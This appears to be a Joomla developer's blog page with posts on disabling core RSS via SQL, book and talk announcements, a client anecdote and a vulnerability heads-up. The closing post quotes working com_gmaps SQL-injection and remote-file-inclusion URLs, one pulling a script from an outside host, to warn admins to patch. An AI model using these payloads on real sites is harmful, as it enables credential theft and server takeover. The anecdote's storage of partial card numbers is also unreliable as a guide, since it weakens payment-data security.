brandondawson.org

I’ve constantly had this problem, as I’ll often want to replace the “Joomla default” feeds with Feedburner. I finally came across a solution on the Joomla forums that worked really well, and I wanted to share it here for posterity, as it involves simply applying an SQL query to suppress display of the feed functionality across all menu items.

Therefore, it requires no hacking of core files or adding any new modules or components. I’ve extended the version on the J! forums by adding instructions for doing this from the command line on a LAMP server.

How to globally suppress or disable the core RSS in Joomla 1.5

1.) Edit your template and include a link to your Feedburner or other alternative RSS feed.
From here, I’ll provide two sets of instructions: One for those with phpMyAdmin, one for those with only shell access.

phpMyAdmin

2.) Open your database within the phpMyAdmin application.
3.) Export your database so that you have a backup.
4.) Click on the SQL tab, and insert the following query:
update jos_menu set params = replace(params, 'show_feed_link=1', 'show_feed_link=0')
5.) Click “Go”.

CLI method

2.) Open your shell.
3.) Dump your database so you have a backup in case things go sideways.
mysqldump -u your_database_username_here -p your_database_name_here > your_database_name.sql
4.) Run this command to run the appropriate query:
mysql -u your_database_username_here -p your_database_name_here -e "update jos_menu set params = replace(params, 'show_feed_link=1', 'show_feed_link=0')"

The Taliban runs Joomla!, as does the John Birch Society.

Say what you will about the respective ideologies and whatnot, but it’s interesting to see such organizations running Joomla.

For those of you waiting for an e-book copy of Joomla! Cash, Packt has finally released one.

After a lengthy development period, Joomla 1.5 Stable is now available @ Joomla.org!

Have you been wanting to convert your business’ static-HTML website into something dynamic and database-driven? You may want to check out my book “Joomla! Cash”. It’s the only Joomla! book on the market that specifically concentrates on meeting the needs of e-commerce and business users.

It’s available from the following fine retailers: Packt Publishing, Amazon, Barnes & Noble, Borders, Bookpool, Compman.co.uk, Comcol.nl, and TheRegister.

Well, my Joomla! presentation at Ohio Linux Fest went off as planned, with some minor technical glitches arising from my unfamiliarity with my fiancee’s laptop. (I’ve never owned a laptop, and plan to avoid owning one as long as I can!)

In total, 141 people attended my presentation. I had a drawing, as planned, to give away two sets of both Hagen Graf’s “Building Websites with Joomla!”, and “Joomla! Cash”, co-written by myself. Congrats to Sherif Rashad and Alan Phillips, who will be receiving their copies of the books via Royal Mail from Packt Publishing, as well as twelve and six-months’ free website hosting. (Sherif will also be receiving a free Joomla T-shirt.)

Continue reading…

I’ll be speaking in Columbus Ohio today at the Ohio Linux Fest. (www.ohiolinux.org)

My speech is entitled “Business Websites Made Easy with Joomla!” and covers both Joomla basics, as well as popular third-party extensions to adapt Joomla to business or individual needs.

You may download a copy of the PowerPoint slideshow here: [link]

I’ve had a few of these. [link]

Here’s one of my “Client-From-Hell” stories:

My worst client-contractor interaction centered on a client who assured me that they wanted the best of everything at the lowest possible cost, but that quality was the foremost concern.

I responded by connecting Joomla with iDevDirect’s iDevAffiliate software, with VirtueMart for transaction processing. This setup necessitated retaining the first twelve digits of the customer’s credit card number in the database, with the final four digits being mailed to the client’s processing agent on another server.

Continue reading…

5ThirtyOne is running a story today about popular free themes being crammed with malicious and/or spammy code, then being re-released.

This is a problem with the free template scene, and those who would take such major advantage of it. I’ve had so many clients that want “a duplicate of X website” or “just take this free or commercial theme and adapt it”. But of course, this lazy approach to designing a winning website leaves you prone to a lot of problems, not the least of which is the fact that such people typically have no idea what the code in their template means, and therefore wouldn’t know an unnecessary PHP include from the mandatory PHP hooks for Joomla.

As such, they have no idea why their sites are underperforming in search engines, they have no idea why their visitors are leaving to odd websites, and no clue what to do about it if they did. All they know is that they “developed” a website that should’ve cost at least a couple thousand dollars for pennies on the dollar. If they knew better, they’d care. But they don’t, and that hurts all of us.

Just a little heads up here to let folks know that a fairly serious security vulnerability present in the com_gmaps extension, allowing remote SQL injection and php inclusion. Here are two examples of the compromise in action:

index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId=
-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

index.php?option=com_gmaps&task=viewmap&Itemid=73&mapId=
1/index.php?option=http://www.crotz.tk/crotz? HTTP/1.1

As you can see, the exploit first exposes the administrator’s password’s md5 hash to the intruders, and also allows running of a php script that offers other details about the server environment the affected Joomla install is running on.

There is an update that fixes this security flaw, which may be obtained from GMap’s official website. [link]